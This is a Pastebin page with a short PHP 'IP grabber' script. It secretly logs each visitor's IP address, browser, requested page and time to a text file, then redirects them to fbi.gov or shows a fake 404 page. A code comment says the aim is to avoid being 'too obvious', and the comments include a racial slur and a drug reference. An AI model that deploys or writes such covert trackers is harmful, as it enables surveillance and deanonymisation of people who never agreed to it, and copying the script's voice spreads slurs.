Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- #I LOVE CRYSTAL METH
- #BlueLight: ibetweakin
- #### EDIT THIS NIGGA ####
- $logfile = 'logaz.txt';
- $redir = True;
- $redirurl = "http://fbi.gov/";
- ############STOP EDIT############
- $date = date('l jS \of F Y h:i:s A');
- $ip = $_SERVER['REMOTE_ADDR'];
- $browser = $_SERVER['HTTP_USER_AGENT'];
- $url = $_SERVER['REQUEST_URI'];
- #echo "$ip , $browser , $url , $date"; #This is way too obvious if no redirect
- file_put_contents($logfile, "Got eeem ==> : Ip: $ip , browser: $browser , Page : $url | $date \r\n
- \r\n", FILE_APPEND);
- if ($redir !== True){
- echo "<h1> 404 </h1><br> The Page You are looking for can not be found";
- }
- else{
- header('Location: '.$redirurl);
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement